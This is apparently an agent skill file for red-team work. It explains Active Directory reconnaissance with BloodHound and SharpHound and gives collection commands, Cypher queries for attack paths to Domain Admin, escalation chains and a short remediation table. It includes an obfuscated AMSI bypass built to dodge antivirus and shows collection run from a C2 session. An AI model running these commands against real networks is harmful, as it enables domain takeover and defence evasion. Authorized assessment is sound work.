performing-active-directory-bloodhound-analysis

Use BloodHound and SharpHound to enumerate Active Directory relationships and identify attack paths from compromised users to Domain Admin.

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name	performing-active-directory-bloodhound-analysis
description	Use BloodHound and SharpHound to enumerate Active Directory relationships and identify attack paths from compromised users to Domain Admin.
domain	cybersecurity
subdomain	red-teaming
tags	["bloodhound","active-directory","sharphound","attack-path","ad-enumeration","graph-theory","privilege-escalation"]
version	1.0
author	mahipal
license	Apache-2.0
d3fend_techniques	["Restore Access","Password Authentication","Biometric Authentication","Strong Password Policy","Restore User Account Access"]
nist_csf	["ID.RA-01","GV.OV-02","DE.AE-07"]

Performing Active Directory BloodHound Analysis

Overview

BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.

When to Use

When conducting security assessments that involve performing active directory bloodhound analysis
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing

Prerequisites

Initial foothold on a domain-joined Windows system (or valid domain credentials)
BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed
SharpHound collector (C# binary or PowerShell module)
Neo4j database (Legacy) or PostgreSQL (CE)
Network access to domain controllers (LDAP TCP/389, LDAPS TCP/636)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

MITRE ATT&CK Mapping

Technique ID	Name	Tactic
T1087.002	Account Discovery: Domain Account	Discovery
T1069.002	Permission Groups Discovery: Domain Groups	Discovery
T1018	Remote System Discovery	Discovery
T1482	Domain Trust Discovery	Discovery
T1615	Group Policy Discovery	Discovery
T1069.001	Permission Groups Discovery: Local Groups	Discovery

Step 1: Data Collection with SharpHound

SharpHound.exe (Preferred for OPSEC)

# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip

# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp

# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123

# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00

# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp

# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip

# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)

# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json

# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound

# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up

# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select File

# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)

# Start BloodHound GUI
./BloodHound --no-sandbox

# Drag and drop ZIP file into BloodHound GUI

-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n

-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname

-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name

-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p

-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate

-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50

-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name

-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name

-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50

-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name

-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name

-- Find service accounts with admin access
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name

User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain Admin

User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain Admin

User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSync

User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEM

Finding	Risk	Remediation
Kerberoastable DA	Critical	Use gMSA, rotate passwords, AES-only
Unconstrained Delegation	Critical	Migrate to constrained/RBCD delegation
Domain Users local admin	High	Remove DA from local admin, use LAPS
Excessive ACL permissions	High	Audit and reduce GenericAll/WriteDACL
Stale admin sessions	Medium	Implement session cleanup, restrict RDP
Cross-domain trust abuse	High	Review trust direction and SID filtering